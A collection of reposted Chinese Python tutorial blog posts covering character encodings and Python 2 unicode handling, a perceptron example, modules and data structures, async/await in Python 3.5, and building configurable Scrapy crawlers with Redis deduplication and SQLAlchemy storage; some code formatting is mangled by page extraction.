DBCS(Double-Byte Character Set)。必须明确的是,MBCS并不是某一种特定的编码,Windows里根据你设定的区域不同,MBCS指代不同的编码,而Linux里无法使用MBCS作为编码。在Windows中你看不到MBCS这几个字符,因为微软为了更加洋气,使用了 ANSI来吓唬人,记事本的另存为对话框里编码ANSI就是MBCS。同时,在简体中文Windows默认的区域设定里,指代GBK。

1.3. Unicode

后来,有人开始觉得太多编码导致世界变得过于复杂了,让人脑袋疼,于是大家坐在一起拍脑袋想出来一个方法:所有语言的字符都用同一种字符集来表示,这就是Unicode。

最初的Unicode标准 UCS-2使用两个字节表示一个字符,所以你常常可以听到Unicode使用两个字节表示一个字符的说法。但过了不久有人觉得256*256太少了,还是不够用,于是出现了UCS-4标准,它使用4个字节表示一个字符,不过我们用的最多的仍然是UCS-2。

UCS(Unicode Character Set)还仅仅是字符对应码位的一张表而已,比如”汉>”这个字的码位是6C49。字符具体如何传输和储存则是由 UTF(UCS Transformation Format)来负责。

一开始这事很简单,直接使用UCS的码位来保存,这就是
UTF-16,比如,”汉>”直接使用\x6C\x49保存(
UTF-16-BE),或是倒过来使用\x49\x6C保存(
UTF-16-LE)。但用着用着美国人觉得自己吃了大亏,以前英文字母只需要一个字节就能保存了,现在大锅饭一吃变成了两个字节,空间消耗大了一倍……于是 UTF-8横空出世。

UTF-8是一种很别扭的编码,具体表现在他是变长的,并且兼容ASCII,ASCII字符使用1字节表示。然而这里省了的必定是从别的地方抠出来的,你肯定也听说过UTF-8里中文字符使用3个字节来保存吧?4个字节保存的字符更是在泪奔……(具体UCS-2是怎么变成UTF-8的请自行搜索)

另外值得一提的是 BOM(Byte Order Mark)。我们在储存文件时,文件使用的编码并没有保存,打开时则需要我们记住原先保存时使用的编码并使用这个编码打开,这样一来就产生了许多麻烦。(你可能想说记事本打开文件时并没有让选编码?不妨先打开记事本再使用文件 -> 打开看看)而UTF则引入了BOM来表示自身编码,如果一开始读入的几个字节是其中之一,则代表接下来要读取的文字使用的编码是相应的编码:

BOM_UTF8 ‘\xef\xbb\xbf’      BOM_UTF16_LE ‘\xff\xfe’       BOM_UTF16_BE ‘\xfe\xff’

并不是所有的编辑器都会写入BOM,但即使没有BOM,Unicode还是可以读取的,只是像MBCS的编码一样,需要另行指定具体的编码,否则解码将会失败。

你可能听说过UTF-8不需要BOM,这种说法是不对的,只是绝大多数编辑器在没有BOM时都是以UTF-8作为默认编码读取。即使是保存时默认使用ANSI(MBCS)的记事本,在读取文件时也是先使用UTF-8测试编码,如果可以成功解码,则使用UTF-8解码。记事本这个别扭的做法造成了一个BUG:如果你新建文本文件并输入”姹塧>”然后使用ANSI(MBCS)保存,再打开就会变成”汉a>”,你不妨试试 :)

2. Python2.x中的编码问题

2.1. str和unicode

str和unicode都是basestring的子类。严格意义上说,str其实是字节串,它是unicode经过编码后的字节组成的序列。对UTF-8编码的str’汉’使用len()函数时,结果是3,因为实际上,UTF-8编码的’汉’ == ‘\xE6\xB1\x89’。

unicode才是真正意义上的字符串,对字节串str使用正确的字符编码进行解码后获得,并且len(u’汉’) == 1。

再来看看encode()和decode()两个basestring的实例方法,理解了str和unicode的区别后,这两个方法就不会再混淆了:

?
# coding: UTF-8

u=u‘汉’
printrepr(u)# u’\u6c49′
s=u.encode(‘UTF-8’)
printrepr(s)# ‘\xe6\xb1\x89’
u2=s.decode(‘UTF-8’)
printrepr(u2)# u’\u6c49′

# 对unicode进行解码是错误的# s2 = u.decode(‘UTF-8’)# 同样,对str进行编码也是错误的# u2 = s.encode(‘UTF-8’)

需要注意的是,虽然对str调用encode()方法是错误的,但实际上Python不会抛出异常,而是返回另外一个相同内容但不同id的str;对unicode调用decode()方法也是这样。很不理解为什么不把encode()和decode()分别放在unicode和str中而是都放在basestring中,但既然已经这样了,我们就小心避免犯错吧。

2.2. 字符编码声明

源代码文件中,如果有用到非ASCII字符,则需要在文件头部进行字符编码的声明,如下:

?
#-*- coding: UTF-8 -*-

实际上Python只检查#、coding和编码字符串,其他的字符都是为了美观加上的。另外,Python中可用的字符编码有很多,并且还有许多别名,还不区分大小写,比如UTF-8可以写成u8。参见 http://docs.python.org/library/codecs.html#standard-encodings

另外需要注意的是声明的编码必须与文件实际保存时用的编码一致,否则很大几率会出现代码解析异常。现在的IDE一般会自动处理这种情况,改变声明后同时换成声明的编码保存,但文本编辑器控们需要小心 :)

2.3. 读写文件

内置的open()方法打开文件时,read()读取的是str,读取后需要使用正确的编码格式进行decode()。write()写入时,如果参数是unicode,则需要使用你希望写入的编码进行encode(),如果是其他编码格式的str,则需要先用该str的编码进行decode(),转成unicode后再使用写入的编码进行encode()。如果直接将unicode作为参数传入write()方法,Python将先使用源代码文件声明的字符编码进行编码然后写入。

?
# coding: UTF-8

f=open(‘test.txt’)
s=f.read()

f.close()

printtype(s)#

# 已知是GBK编码,解码成unicode

u=s.decode(‘GBK’)
f=open(‘test.txt’,‘w’)

# 编码成UTF-8编码的str

s=u.encode(‘UTF-8’)

f.write(s)f.close()

另外,模块codecs提供了一个open()方法,可以指定一个编码打开文件,使用这个方法打开的文件读取返回的将是unicode。写入时,如果参数是unicode,则使用open()时指定的编码进行编码后写入;如果是str,则先根据源代码文件声明的字符编码,解码成unicode后再进行前述操作。相对内置的open()来说,这个方法比较不容易在编码上出现问题。

?
# coding: GBK

importcodecs
f=codecs.open(‘test.txt’, encoding=‘UTF-8’)
u=f.read()

f.close()

printtype(u)#
f=codecs.open(‘test.txt’,‘a’, encoding=‘UTF-8’)

# 写入unicodef.write(u)# 写入str,自动进行解码编码操作# GBK编码的str

s=‘汉’
printrepr(s)# ‘\xba\xba’

# 这里会先将GBK编码的str解码为unicode再编码为UTF-8写入f.write(s)f.close()

2.4. 与编码相关的方法

sys/locale模块中提供了一些获取当前环境下的默认编码的方法。

?
# coding:gbk

importsys
importlocale
defp(f):
  print‘%s.%s(): %s’%(f.__module__, f.__name__, f())

# 返回当前系统所使用的默认字符编码p(sys.getdefaultencoding)# 返回用于转换Unicode文件名至系统文件名所使用的编码p(sys.getfilesystemencoding)# 获取默认的区域设置并返回元祖(语言, 编码)p(locale.getdefaultlocale)# 返回用户设定的文本数据编码# 文档提到this function only returns a guessp(locale.getpreferredencoding)# \xba\xba是’汉’的GBK编码# mbcs是不推荐使用的编码,这里仅作测试表明为什么不应该用

printr“‘\xba\xba’.decode(‘mbcs’):>”,repr(‘\xba\xba’.decode(‘mbcs’))

#在笔者的Windows上的结果(区域设置为中文(简体, 中国))#sys.getdefaultencoding(): gbk#sys.getfilesystemencoding(): mbcs#locale.getdefaultlocale(): (‘zh_CN’, ‘cp936’)#locale.getpreferredencoding(): cp936#’\xba\xba’.decode(‘mbcs’): u’\u6c49′

3.一些建议

3.1. 使用字符编码声明,并且同一工程中的所有源代码文件使用相同的字符编码声明。

这点是一定要做到的。

3.2. 抛弃str,全部使用unicode。

按引号前先按一下u最初做起来确实很不习惯而且经常会忘记再跑回去补,但如果这么做可以减少90%的编码问题。如果编码困扰不严重,可以不参考此条。

3.3. 使用codecs.open()替代内置的open()。

如果编码困扰不严重,可以不参考此条。

3.4. 绝对需要避免使用的字符编码:MBCS/DBCS和UTF-16。

这里说的MBCS不是指GBK什么的都不能用,而是不要使用Python里名为’MBCS’的编码,除非程序完全不移植。

Python中编码’MBCS’与’DBCS’是同义词,指当前Windows环境中MBCS指代的编码。Linux的Python实现中没有这种编码,所以一旦移植到Linux一定会出现异常!另外,只要设定的Windows系统区域不同,MBCS指代的编码也是不一样的。分别设定不同的区域运行2.4小节中的代码的结果:

?
#中文(简体, 中国)#sys.getdefaultencoding(): gbk#sys.getfilesystemencoding(): mbcs#locale.getdefaultlocale(): (‘zh_CN’, ‘cp936’)#locale.getpreferredencoding(): cp936#’\xba\xba’.decode(‘mbcs’): u’\u6c49′#英语(美国)#sys.getdefaultencoding(): UTF-8#sys.getfilesystemencoding(): mbcs#locale.getdefaultlocale(): (‘zh_CN’, ‘cp1252’)#locale.getpreferredencoding(): cp1252#’\xba\xba’.decode(‘mbcs’): u’\xba\xba’#德语(德国)#sys.getdefaultencoding(): gbk#sys.getfilesystemencoding(): mbcs#locale.getdefaultlocale(): (‘zh_CN’, ‘cp1252’)#locale.getpreferredencoding(): cp1252#’\xba\xba’.decode(‘mbcs’): u’\xba\xba’#日语(日本)#sys.getdefaultencoding(): gbk#sys.getfilesystemencoding(): mbcs#locale.getdefaultlocale(): (‘zh_CN’, ‘cp932’)#locale.getpreferredencoding(): cp932#’\xba\xba’.decode(‘mbcs’): u’\uff7a\uff7a’

可见,更改区域后,使用mbcs解码得到了不正确的结果,所以,当我们需要使用’GBK’时,应该直接写’GBK’,不要写成’MBCS’。

UTF-16同理,虽然绝大多数操作系统中’UTF-16’是’UTF-16-LE’的同义词,但直接写’UTF-16-LE’只是多写3个字符而已,而万一某个操作系统中’UTF-16’变成了’UTF-16-BE’的同义词,就会有错误的结果。实际上,UTF-16用的相当少,但用到的时候还是需要注意。

原文:http://www.cnblogs.com/kungfupanda/p/4318743.html

Python: 感知机学习算法原始形式

参考了李航老师的《统计学习方法》第二章,利用Python简单写了一个感知机算法,但是画图真是部分真是不太会(丑哭了)。

代码运行过程中会画出分类界面:

最后紫色的是收敛后的解。

Perceptron

Python

from numpy import *
import numpy as np
import matplotlib.pyplot as plt
import time
plt.ion()
plt.autoscale(enable=True, tight=False)
dataFn = "data.dat>"
def drawSpLine(w, b):
    plt.plot([-b/w[0] if w[1]==0 else 0, 10 if w[0]==0 else -b/w[0]], [10 if w[1]==0 else -b/w[1], -b/w[1] if w[0]==0 else 0])
    plt.draw()
    plt.show()
with open(dataFn) as inFile:
    data = inFile.readlines()
    d = np.loadtxt(data)
    for row in d:
        if row[0]==1:
            plt.plot(row[1], row[2], 'ro')
        else:
            plt.plot(row[1], row[2], 'bo')
    plt.draw()
    plt.show()
    time.sleep(1)
w = ones(2)
b = random.randint(10)
eta = 1
print w
print b
drawSpLine(w, b)
time.sleep(1)
while True:
    isConv = True
    for row in d:
        if row[0]*(dot(np.transpose(w), np.transpose(row[1:])) + b) <= 0:
            w = w + eta * row&#91;0&#93; * row&#91;1:&#93;
            b = b + eta * row&#91;0&#93;
            print w, b
            drawSpLine(w, b)
            time.sleep(1)
            isConv = False
            break
    if isConv:
        print "Converged.>"
        break
print "w>", w
print "b>", b
plt.show(block=True) 

数据:

1    1   1
1   2   1
1   1   2
-1  4   2
-1  4   3
-1  3   3

原创文章,转载请注明:转载自magic282.me

本文链接地址: 感知机学习算法原始形式

文章的脚注信息由WordPress的 wp-posturl插件自动生成

原文:http://magic282.me/2015/05/perceptron/

Python: Python笔记(三)

在昨天的《Python笔记(二)》中我们学习了函数的定义和使用。在最后,简单介绍了文档字符串(DocString)的使用,由于昨天时间比较急关于它的知识我总结的比较少,今天在这里稍微补充一下吧。DocString不仅适用于函数,也适用于模块和类(模块在今天的博客中会介绍)。文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始详细的概述。我在昨天的博客中使用了 __doc__(注意是双下划线) 调用了printMax()函数的文档字符串属性。对于文档字符串就补充这么多吧。下面开始今天的学习。

今天我学习了Python中的模块以及数据结构。下面先说模块。Python中模块的作用和C中的.h文件以及Java中的包的作用类似。使用模块你可以重复的使用其他程序中的函数和变量。下面这段代码我们作为模块:

1  # T.py
2  def  main():
 3  print (" I am main() >" )
 4
5  date = ''' 2015/5/22 '''  

而在下面这段代码中我们使用import关键字引入模块,然后调用main()函数以及date变量:

1  # TT.py
2  import  T
 3
4  T.main()
 5  print (T.date) 

打印结果如下:

是不是有点似曾相识的感觉?刚刚说了,Python中的模块的作用和C中的.h文件以及JAVA中的包差不多。可能有人在想,如果我导入的一个模块内容很大,那么程序在运行的时候就是一件比较费时的事情。这个问题不用但心,在Python中为了让输入模块更加快捷,有一种方法是创建字节编译文件,这些文件以.pyc作为扩展名,我们在第一次使用模块的时候,会自动生成.pyc文件,这样的话,在我们下一次从别的程序输入这个模块的时候,.pyc文件就起作用了——它会快很多。另外一点是:这些字节文件与平台无关。在上面的代码中,我们使用import关键字将T.py文件中所有的内容都导入了,如果你只是想导入一部分函数或者变量,那么请使用下面的格式:from…import,但是书上建议我们避免使用这种方式,因为这种方式容易有名称上的冲突。

下面来说说模块的__name__属性。每个模块都有一个名称,在模块中可以通过语句来找出模块的名称。 如果程序本身调用__name__属性,那么将会得到’__main__’字符串来标示自己,而在程序中调用其他模块并打印其__name__属性,那么将会得到那个模块的文件名。 请看下面这段代码:

1  # module.py
2
3  def  main():
 4  print (' we are in %s ' %__name__ )
 5
6  if  __name__  == ' __main__ ' :
 7      main() 

在上面,我们定义了一个函数main(),用来打印出__name__属性。下面的if语句用来判断是否执行main()。下面是打印结果:

从结果我们可以看出,在自己的程序中使用__name__属性打印的是’__main__’。在看下面这段代码:

1  # othermodule.py
2  import  module    # 将模块module导入
3
4  module.main() 

再看它打印出来的结果:

从两个结果对比便可验证我们上面所说的结论。对于模块,我们应该将这个模块放置在我们输入它的程序的同一目录中或者sys.path所列目录之一。

下面介绍Python中的序列。在Python中, 序列包括:列表、元组、字典。

列表(list) :处理一组有序项目的数据结构。和Java中的list接口类似,Python中列表中的项目应该包括在方括号中,并且项目之间由逗号(,)隔开。不过Python中的list和Java中的list还是有一定的区别。在Java中,为了数据的安全性,引入了泛型。在Java的集合框架中,泛型规定放入同一个集合对象的元素必须是同一类型的。而 在Python中我们所说的列表是可变数据类型的,也就是说我们可以在列表中添加任何种类的对象,甚至其他列表。 请看下面代码:

 1  numberlist = [10,19,6,3,7,21,35] # 定义一个列表
 2
 3  print (' numberlist have %d numbers. ' %len(numberlist))
  4  print (' all of them are:  ' ,end=">" )
  5  for  i in  numberlist:        # 遍历
 6  print (i,end=" , >" )
  7
 8  print (" now,I will add more numbers. >" )
  9  numberlist.append(72);    # 添加同类型元素
10  numberlist.append(' zhouxy ' );# 添加不同类型元素
11
12  print (' \nyes.numberlist have %d numbers. ' %len(numberlist))
 13  print (' all of them are:  ' ,end=">" )
 14  for  i in  numberlist:    # 遍历新的列表
15  print (i,end=" , >" )
 16  print (" \nOK! >" ) 

上面的代码中我们初始化了一个列表numberlist,然后对它进行遍历,之后向他里面添加了新的元素,有同类型的元素,也有不同类型的元素。之后再遍历新的列表。结果如下:

在上面我们使用了list的内置函数append()增加元素,如果你不知道list中有哪些函数,那么你可以 使用help()命令 。例如我这样:

元组: 元组和列表十分类似,只不过元组和字符串一样是不可变的,也就是说你不能像列表一样修改元组。 元组通过圆括号中用逗号分割项目定义 。先看下面这段代码:

 1  animal = (' cat ' ,' dog ' ,' pig ' )    # 初始化一个元组
 2  print (" number of animal is : >" ,len(animal))
  3
 4  new_animal = (' bird ' ,' monkey ' ,animal) # 创建一个新的元组,并将元组animal添加进去
 5  print (" number of animal is : >" ,len(new_animal))
  6
 7  print (" all animal are: >" ,animal)
  8  print (" all new_animal are: >" ,new_animal)
  9
10  print (" new_animal[2] is: >" ,new_animal[2])
 11  print (" new_animal[2][2] is: >" ,new_animal[2][2]) 

在上面的代码中,我们通过了一对方括号来指明某个项目的位置从而来访问元组中的项目,这被称作索引运算符。值得注意的是: 一个空的元组由一对空()组成。然而单个元素的元组你必须在第一个元素之后加上逗号(,),就像这样:singleton = (2,) 。下面是运行结果:

最后说说序列中的字典。 字典: Python中字典和Java中的map类似,是键值对的存储形式。首先来看看Python中的字典是如何标记的,形式如下: dict={key1:value1,key2:value2} 。 注意它们的键值对用冒号分割,而各个对则用逗号分割,所有的这些都包括在花括号中,并且字典中的键值对是没有顺序的 。如果你想它们有顺序,那么在使用前可以对它们进行排序。请看下面代码:

 1  student = {1:' zhou ' ,2:' xuan ' ,3:' yu ' }
  2  print (" student 1 is: %s >" %student[1])
  3
 4  student[4] = ' bluemsun ' # 添加新元素
 5  del  student[2]# 删除key为2的元素
 6
 7  print (" now ,there are %d student,them are: >" %len(student),end=" \n >" )
  8  for  key,value in  student.items():# 遍历字典student
 9  print ((key,value),end=" , >" )
 10
11  if  3 in  student:# or student.has_key(3),判断某个学生是否在字典中
12  print (" \nnice! >" )
 13
14  allkeys = student.keys()
 15  print (" all student's key are:  >" ,end='' )
 16  for  key in  allkeys:
 17  print (key,end=" , >" )
 18  print (' \nDone! ' ) 

这段程序很简单,参看我的注释就可以明白。还记得昨天学习的关键字参数吗?如果你换一个角度看它的话,你就会恍然大悟,其实你已经使用了字典。下面是运行结果:

最后来说一说序列中的索引操作符和切片操作符。 索引操作符让我可以从序列中抓取一个特定的项目,切片操作符让我们可以获取序列中的一个切片,即部分序列 。请看下面这段代码:

 1  # seq.py
 2
 3  list = [' apple ' ,' mango ' ,' carrot ' ,' banana ' ,' orang ' ]
  4  # 使用索引操作符抓取特定项目
 5  print (" list[2] is : >"  ,list[2])
  6
 7  # 使用切片操作符获取list切片
 8  print (' list[1] to list[3] are : ' ,list[1:3])
  9  print (' list[1] to list[4] are : ' ,list[1:])    # 从位置1一直到最后
10  print (' list[0] to list[3] are : ' ,list[:3])    # 从位置0到位置3
11  print (' list[1] to list[3] are : ' ,list[1:-2])  # 从位置0到list的倒数第2个
12  print (' list[1] to list[3] are : ' ,list[:])     # 获取整个序列
13
14  # 使用切片操作符获取string切片
15  name = ' bluemsun '
16  print (' name[1] to name[3] are : ' ,name[1:6])
 17  print (' name[1] to name[4] are : ' ,name[1:])
 18  print (' name[0] to name[3] are : ' ,name[:5])
 19  print (' name[1] to name[3] are : ' ,name[3:-2])
 20  print (' name[1] to name[3] are : ' ,name[:]) 

索引同样可以是负数,即位置是从序列尾开始计算的。切片操作符是序列名后跟一个方括号,括号中有一对可选的数字,并用冒号分割,冒号是必须的。

原文:http://www.cnblogs.com/zhouxuanyu/p/4523207.html

Python: 使用Redis和SQLAlchemy对Scrapy Item去重并存储

在上篇博客中,我们讲解了如何通过维护多个网站的爬取规则来抓取各个网站的数据。本文将简要地谈谈如何使用Scrapy的 Item Pipline将爬取的数据去重并存储到数据库中。

Scrapy框架的高度灵活性得益于其数据管道的架构设计,开发者可以通过简单的配置就能轻松地添加新特性。我们可以通过如下的方式添加一个pipline。

settings.set("ITEM_PIPELINES>" , {'pipelines.DataBasePipeline' : 300 })
 

这里 ITEM_PIPELINES是一个Python字典,其中key保存的pipline类在项目中的位置,value为整型值,确定了他们运行的顺序,item按数字从低到高的顺序,通过pipeline,通常将这些数字定义在0-1000范围内。

存储到数据库

在上一篇博客中,我们已经介绍了使用 SQLAlchemy作为我们的ORM。同样的,为了将爬取的文章保存到数据库,我们先要有一个 Article模型,包含了 URL,标题,正文等字段。

from  sqlalchemy import  Column, String , DateTime, Integer
from  sqlalchemy.ext.declarative import  declarative_base
Base = declarative_base()
class  Article (Base) :
    __tablename__ = 'articles'
    id = Column(Integer, primary_key=True )
    title = Column(String)
    url = Column(String)
    body = Column(String)
    publish_time = Column(DateTime)
    source_site = Column(String)
 

之后在 DataBasePipeline中,我们需要生成 Aticle对象,并将item中对应的字段赋给 Aticle对象,最后通过SQLAlchemy将文章插入到数据库中。

from  model.config import  DBSession
from  model.article import  Article
class  DataBasePipeline (object) :
 def  open_spider (self, spider) :
        self.session = DBSession()
 def  process_item (self, item, spider) :
        a = Article(title=item["title>" ].encode("utf-8>" ),
                    url=item["url>" ],
                    body=item["body>" ].encode("utf-8>" ),
                    publish_time=item["publish_time>" ].encode("utf-8>" ),
                    source_site=item["source_site>" ].encode("utf-8>" ))
        self.session.add(a)
        self.session.commit()
 def  close_spider (self,spider) :
        self.session.close()
 

使用Redis去重

为了防止同一个网页爬取两遍,我们使用Redis来去重,因为 Redis 作为Key/Value数据库在这个场景是非常适合的。我们认为一个URL能唯一代表一个网页。所以使用URL作为键值存储。

我们希望在存储之前就进行去重操作,所以需要更改下 ITEM_PIPELINES的配置。

settings.set("ITEM_PIPELINES>"  , {
 'pipelines.DuplicatesPipeline' : 200 ,
 'pipelines.DataBasePipeline' : 300 ,
})
 

DuplicatesPipeline长这个样子。

from  scrapy.exceptions import  DropItem
from  model.config import  Redis
class  DuplicatesPipeline (object) :
 def  process_item (self, item, spider) :
 if  Redis.exists('url:%s'  % item['url' ]):
 raise  DropItem("Duplicate item found: %s>"  % item)
 else :
            Redis.set('url:%s'  % item['url' ],1 )
 return  item
 

当检测到Item已经存在,会抛出DropItem 异常,被丢弃的item将不会被之后的pipeline组件所处理。

最后,运行脚本,你能看到我们的程序欢快地跑起来了。

python  run.py
 

你可以在 GitHub上看到本文的完整项目。

原文:http://wuchong.me/blog/2015/05/22/using-redis-and-sqlalchemy-to-checkd-dup-and-store-scrapy-item/

Python: Python 3.5将支持Async/Await异步编程

根据 Python增强提案(PEP) 第0492号, Python 3.5将通过async和await语法增加对协程的支持。该提案目的是使协程成为Python语言的原生特性,并“建立一种普遍、易用的异步编程思维模型。”

这个新提议中声明一个协程的语法如下:

async def read_data(db):
    pass

async是明确将函数声明为协程的关键字,即便没有使用await表达式。这样的函数执行时会返回一个协程对象。

在协程函数内部,可在某个表达式之前使用await关键字来暂停协程的执行,以等待某进程完成:

async def read_data(db):
    data = await db.fetch('SELECT ...')
    ...

由于 增强版生成器的存在,Python中其实早已有了协程的形式,例如当yield或yield from声明在Python生成器内部出现,该生成器就会被当作协程。

以下示例展示基于生成器的协程的用法:

>>> def createGenerator():
...    mylist = range(3)
...    for i in mylist:
...        yield i*i
...
>>> mygenerator = createGenerator()
>>> for i in mygenerator:
...     print(i)
1
4 

以上代码中,每当生成器在for循环中被调用,该生成器中的for循环就会返回一个新的值。

关于await用法的更多示例请参见上文提到的PEP #0492.

这个关于协程的新提案想明确地把生成器与协程区分开,这么做有如下好处:

  • 使这两个概念对新开发者来说更易于理解,因为它们二者的语法并不一样;
  • 能消除由于重构时不小心移除了协程中的yield声明而导致的“不明确错误”,这会导致协程变成普通的生成器。

async/await
语法能让程序员以序列方式编写代码,但编译器则会将其当作一系列的协程来处理,从而实现有效的并发。回到我们之前的例子,async/await使我们可以顺序地编写多个await声明语句,就好像每个语句都会阻塞并等待结果,但实际上这并不会导致任何阻塞:

async def read_data(db):
    data = await db.fetch('SELECT ...')
    if (data...)
        await api.send(data ...') 

查看英文原文
Python 3.5 will Support Async/Await Asynchronous Programming

原文:http://www.infoq.com/cn/news/2015/05/python-async-await

Python: 编程方式下运行 Scrapy spider

最近实验室的项目中有一个需求是这样的,需要爬取若干个(数目不小)网站发布的文章元数据(标题、时间、正文等)。问题是这些网站都很老旧和小众,当然也不可能遵守 Microdata这类标准。这时候所有网页共用一套默认规则无法保证正确抓取到信息,而每个网页写一份spider代码也不切实际。

这时候,我迫切地希望能有一个框架可以通过只写一份spider代码和维护多个网站的爬取规则,就能自动抓取这些网站的信息,很庆幸 Scrapy可以做到这点 。鉴于国内外关于这方面资料太少,所以我将这段时间来的经验和代码分享成了本文。

为了讲清楚这件事,我分成了三篇文章来叙述:

  1. 编程方式下运行 Scrapy spider
  2. 使用Scrapy定制可动态配置的爬虫
  3. 使用Redis和SQLAlchemy对Scrapy Item去重并存储

本篇文章主要介绍如何使用编程的方式运行Scrapy爬虫。

在开始本文之前,你需要对 Scrapy 有所熟悉,知道 Items、Spider、Pipline、Selector 的概念。如果你是 Scrapy 新手,想了解如何用Scrapy开始爬取一个网站,推荐你先看看 官方的教程

运行一个Scrapy爬虫可以通过命令行的方式( scrapy runspider myspider.py)启动,也可以使用 核心API通过编程的方式启动。为了获得更高的定制性和灵活性,我们主要使用后者的方式。

我们使用官方教程中的 Dmoz 例子来帮助我们理解使用编程方式启动spider。我们的 spider 文件 dmoz_spider.py长这个样子:

import  scrapy  class  DmozItem (scrapy.Item) :      title = scrapy.Field()     link = scrapy.Field()     desc = scrapy.Field()  class  DmozSpider (scrapy.Spider) :      name = &quot;dmoz&quot;      allowed_domains = [&quot;dmoz.org&quot; ]     start_urls = [  &quot;http://www.dmoz.org/Computers/Programming/Languages/Python/Books/&quot; ,  &quot;http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/&quot;      ]   def  parse (self, response) :   for  sel in  response.xpath('//ul/li' ):             item = DmozItem()             item['title' ] = sel.xpath('a/text()' ).extract()             item['link' ] = sel.xpath('a/@href' ).extract()             item['desc' ] = sel.xpath('text()' ).extract()  yield  item  

接下来我们需要写一个脚本 run.py,来运行DmozSpider:

from  dmoz_spider import  DmozSpider  # scrapy api  from  scrapy import  signals, log from  twisted.internet import  reactor from  scrapy.crawler import  Crawler from  scrapy.settings import  Settings  def  spider_closing (spider) :   &quot;&quot;&quot;Activates on spider closed signal&quot;&quot;&quot;      log.msg(&quot;Closing reactor&quot; , level=log.INFO)     reactor.stop()  log.start(loglevel=log.DEBUG) settings = Settings()  # crawl responsibly  settings.set(&quot;USER_AGENT&quot; , &quot;Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36&quot; ) crawler = Crawler(settings)  # stop reactor when spider closes  crawler.signals.connect(spider_closing, signal=signals.spider_closed)  crawler.configure() crawler.crawl(DmozSpider()) crawler.start() reactor.run()  

然后运行 python run.py就启动了我们的爬虫了,但是由于我们这里没有对爬下来的结果进行任何的存储操作,所以看不到结果。你可以写一个 item pipline 用来将数据存储到数据库,使用 settings.set接口将这个 pipline 配置到 ITEMS_PIPLINE,我们将在第三篇文章中具体讲解这部分内容。下一篇博客将会介绍如何通过维护多个网站的爬取规则来抓取各个网站的数据。

你可以在 GitHub上看到本文的完整项目。

参考资料

原文:http://wuchong.me/blog/2015/05/22/running-scrapy-programmatically/

Python: 使用Scrapy定制可动态配置的爬虫

本文紧接上篇博客,在上一篇博客中我们讲解了如何使用编程的方式运行Scrapy spider。本文将讲解如何通过维护多个网站的爬取规则来抓取各个网站的数据。

具体要实现的目标是这样的,有一张 Rule表用来存储各个网站的爬取规则,Scrapy获取 Rule表中的记录后,针对每一条rule自动生成一个spider,每个spider去爬它们各自网站的数据。这样我们只需要维护Rule表中的规则(可以写个Web程序来维护),而不用针对上千个网站写上千个spider文件了。

我们使用 SQLAlchemy来映射数据库,Rule表的结构如下:

from  sqlalchemy import  Column, String , DateTime, Integer from  sqlalchemy.ext.declarative import  declarative_base  Base = declarative_base()  class  Rule (Base) :      __tablename__ = 'rules'       id = Column(Integer, primary_key=True )     name = Column(String)     allow_domains = Column(String)     start_urls = Column(String)     next_page = Column(String)     allow_url = Column(String)     extract_from = Column(String)     title_xpath = Column(String)     body_xpath = Column(String)     publish_time_xpath = Column(String)     source_site_xpath = Column(String)     enable = Column(Integer)  

接下来我们要重新定制我们的spider,命名为 DeepSpider,让他能够通过rule参数初始化。我们令 DeepSpider继承自
CrawlSpider
,一个提供了更多强大的规则(rule)来提供跟进link功能的类。 deep_spider.py长这个样子:

# -*- coding: utf-8 -*-  import  scrapy from  scrapy.contrib.spiders import  CrawlSpider, Rule from  scrapy.contrib.linkextractors import  LinkExtractor  class  Article (scrapy.Item) :      title = scrapy.Field()     url = scrapy.Field()     body = scrapy.Field()     publish_time = scrapy.Field()     source_site = scrapy.Field()  class  DeepSpider (CrawlSpider) :      name = &quot;Deep&quot;    def  __init__ (self,rule) :          self.rule = rule         self.name = rule.name         self.allowed_domains = rule.allow_domains.split(&quot;,&quot; )         self.start_urls = rule.start_urls.split(&quot;,&quot; )         rule_list = []  #添加`下一页`的规则   if  rule.next_page:             rule_list.append(Rule(LinkExtractor(restrict_xpaths = rule.next_page)))  #添加抽取文章链接的规则          rule_list.append(Rule(LinkExtractor(             allow=[rule.allow_url],             restrict_xpaths = [rule.extract_from]),             callback='parse_item' ))         self.rules = tuple(rule_list)         super(DeepSpider, self).__init__()    def  parse_item (self, response) :          self.log('Hi, this is an article page! %s'  % response.url)          article = Article()          article[&quot;url&quot; ] = response.url          title = response.xpath(self.rule.title_xpath).extract()         article[&quot;title&quot; ] = title[0 ] if  title else  &quot;&quot;           body = response.xpath(self.rule.body_xpath).extract()         article[&quot;body&quot; ] =  '\n' .join(body) if  body else  &quot;&quot;           publish_time = response.xpath(self.rule.publish_time_xpath).extract()         article[&quot;publish_time&quot; ] = publish_time[0 ] if  publish_time else  &quot;&quot;           source_site = response.xpath(self.rule.source_site_xpath).extract()         article[&quot;source_site&quot; ] = source_site[0 ] if  source_site else  &quot;&quot;    return  article  

要注意的是 start_urlsrules等都初始化成了对象的属性,都由传入的 rule对象初始化, parse_item方法中的抽取规则也都有 rule对象提供。

为了同时运行多个spider,我们需要稍稍修改上节中的运行脚本 run.py,如下所示:

# -*- coding: utf-8 -*-  from  spiders.deep_spider import  DeepSpider from  model.config import  DBSession from  model.rule import  Rule  # scrapy api  from  scrapy import  signals, log from  twisted.internet import  reactor from  scrapy.crawler import  Crawler from  scrapy.settings import  Settings   RUNNING_CRAWLERS = []  def  spider_closing (spider) :   &quot;&quot;&quot;Activates on spider closed signal&quot;&quot;&quot;      log.msg(&quot;Spider closed: %s&quot;  % spider, level=log.INFO)     RUNNING_CRAWLERS.remove(spider)  if  not  RUNNING_CRAWLERS:         reactor.stop()  log.start(loglevel=log.DEBUG)  settings = Settings()  # crawl settings  settings.set(&quot;USER_AGENT&quot; , &quot;Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36&quot; )  db = DBSession() rules = db.query(Rule).filter(Rule.enable == 1 ) for  rule in  rules:     crawler = Crawler(settings)     spider = DeepSpider(rule)  # instantiate every spider using rule      RUNNING_CRAWLERS.append(spider)   # stop reactor when spider closes      crawler.signals.connect(spider_closing, signal=signals.spider_closed)     crawler.configure()     crawler.crawl(spider)     crawler.start()  # blocks process so always keep as the last statement  reactor.run()  

